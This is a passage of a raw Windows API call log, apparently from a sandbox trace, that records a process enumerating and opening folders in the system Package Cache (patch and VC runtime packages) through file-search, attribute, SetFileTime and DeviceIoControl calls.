nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x64", cAlternateFileName="")) returned 1 [0092.499] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136efb8 [0092.500] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.500] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136f1c8 [0092.500] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64" (normalized: "c:\\users\\all users\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d\\packages\\patch\\x64"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa989d730, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0092.500] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64" (normalized: "c:\\users\\all users\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d\\packages\\patch\\x64"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0092.500] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 [0092.500] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0092.501] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0092.501] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0092.501] NtClose (Handle=0x17c) returned 0x0 [0092.501] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136f1c8) returned 1 [0092.501] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.502] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcd08 [0092.502] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136f1c8 [0092.502] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.502] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136f3d8 [0092.503] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9180 [0092.503] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa989d730, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.503] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ab54b00, ftCreationTime.dwHighDateTime=0x1d1a02d, ftLastAccessTime.dwLowDateTime=0x9ab54b00, ftLastAccessTime.dwHighDateTime=0x1d1a02d, ftLastWriteTime.dwLowDateTime=0x9ab54b00, ftLastWriteTime.dwHighDateTime=0x1d1a02d, nFileSizeHigh=0x0, nFileSizeLow=0xfc93c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows6.1-KB2999226-x64.msu", cAlternateFileName="")) returned 1 [0092.503] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.503] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.503] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.504] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.504] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.504] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136f2d0 [0092.505] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcd08) returned 1 [0092.505] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f9078 [0092.505] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136f5e8 [0092.505] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.505] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ab54b00, ftCreationTime.dwHighDateTime=0x1d1a02d, ftLastAccessTime.dwLowDateTime=0x9ab54b00, ftLastAccessTime.dwHighDateTime=0x1d1a02d, ftLastWriteTime.dwLowDateTime=0x9ab54b00, ftLastWriteTime.dwHighDateTime=0x1d1a02d, nFileSizeHigh=0x0, nFileSizeLow=0xfc93c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows6.1-KB2999226-x64.msu", cAlternateFileName="")) returned 0 [0092.505] GetLastError () returned 0x12 [0092.506] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9200 [0092.506] FindClose (in: hFindFile=0x2e9180 | out: hFindFile=0x2e9180) returned 1 [0092.506] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa989d730, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.506] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ab54b00, ftCreationTime.dwHighDateTime=0x1d1a02d, ftLastAccessTime.dwLowDateTime=0x9ab54b00, ftLastAccessTime.dwHighDateTime=0x1d1a02d, ftLastWriteTime.dwLowDateTime=0x9ab54b00, ftLastWriteTime.dwHighDateTime=0x1d1a02d, nFileSizeHigh=0x0, nFileSizeLow=0xfc93c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows6.1-KB2999226-x64.msu", cAlternateFileName="")) returned 1 [0092.506] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ab54b00, ftCreationTime.dwHighDateTime=0x1d1a02d, ftLastAccessTime.dwLowDateTime=0x9ab54b00, ftLastAccessTime.dwHighDateTime=0x1d1a02d, ftLastWriteTime.dwLowDateTime=0x9ab54b00, ftLastWriteTime.dwHighDateTime=0x1d1a02d, nFileSizeHigh=0x0, nFileSizeLow=0xfc93c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows6.1-KB2999226-x64.msu", cAlternateFileName="")) returned 0 [0092.506] GetLastError () returned 0x12 [0092.506] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136f3d8) returned 1 [0092.506] FindClose (in: hFindFile=0x2e9200 | out: hFindFile=0x2e9200) returned 1 [0092.506] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136f2d0) returned 1 [0092.507] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136f1c8) returned 1 [0092.507] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa989d730, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x64", cAlternateFileName="")) returned 0 [0092.507] GetLastError () returned 0x12 [0092.507] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136f0c0) returned 1 [0092.507] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0092.507] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136efb8) returned 1 [0092.508] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136eeb0) returned 1 [0092.508] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa989d730, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Patch", cAlternateFileName="")) returned 0 [0092.508] GetLastError () returned 0x12 [0092.508] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136eda8) returned 1 [0092.508] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0092.508] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136eca0) returned 1 [0092.508] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136eb98) returned 1 [0092.508] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa989d730, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0092.509] GetLastError () returned 0x12 [0092.509] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136e358) returned 1 [0092.509] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0092.509] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1368268) returned 1 [0092.509] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1368ec8) returned 1 [0092.509] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb49460, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcb95720, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcb95720, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", cAlternateFileName="")) returned 1 [0092.509] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1368ec8 [0092.510] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005" (normalized: "c:\\users\\all users\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb49460, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcb95720, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcb95720, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0092.510] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005" (normalized: "c:\\users\\all users\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0092.510] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0092.510] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0092.511] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0092.511] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0092.511] NtClose (Handle=0x174) returned 0x0 [0092.511] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1368ec8) returned 1 [0092.511] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.512] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcd08 [0092.512] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1368ec8 [0092.512] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.512] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1368268 [0092.513] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e8f80 [0092.513] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb49460, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcb95720, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcb95720, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.513] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb95720, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcb95720, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcb95720, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0092.513] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb95720, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcb95720, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcb95720, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0092.513] GetLastError () returned 0x12 [0092.513] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e8f40 [0092.513] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0092.513] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb49460, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcb95720, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcb95720, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.513] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb95720, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcb95720, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcb95720, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0092.513] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136e358 [0092.514] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcd08) returned 1 [0092.514] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136eb98 [0092.514] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages" (normalized: "c:\\users\\all users\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb95720, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcb95720, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcb95720, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0092.515] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages" (normalized: "c:\\users\\all users\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0092.515] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0092.515] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0092.515] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0092.516] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0092.516] NtClose (Handle=0x174) returned 0x0 [0092.516] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136eb98) returned 1 [0092.516] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcd08 [0092.516] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.517] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136eb98 [0092.517] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcd08) returned 1 [0092.517] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136eca0 [0092.517] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f80 [0092.518] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb95720, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcb95720, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcb95720, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.518] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb95720, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcbbb880, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcbbb880, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="")) returned 1 [0092.518] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb95720, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcbbb880, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcbbb880, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="")) returned 0 [0092.518] GetLastError () returned 0x12 [0092.518] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e90c0 [0092.518] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0092.518] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb95720, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcb95720, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcb95720, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.518] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb95720, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcbbb880, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcbbb880, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="")) returned 1 [0092.518] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136eda8 [0092.518] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.519] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136eeb0 [0092.519] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86" (normalized: "c:\\users\\all users\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\vcruntimeminimum_x86"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb95720, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcbbb880, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcbbb880, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0092.519] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86" (normalized: "c:\\users\\all users\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\vcruntimeminimum_x86"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0092.519] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0092.519] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0092.520] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0092.520] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0092.520] NtClose (Handle=0x174) returned 0x0 [0092.520] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136eeb0) returned 1 [0092.520] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.521] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcd08 [0092.521] 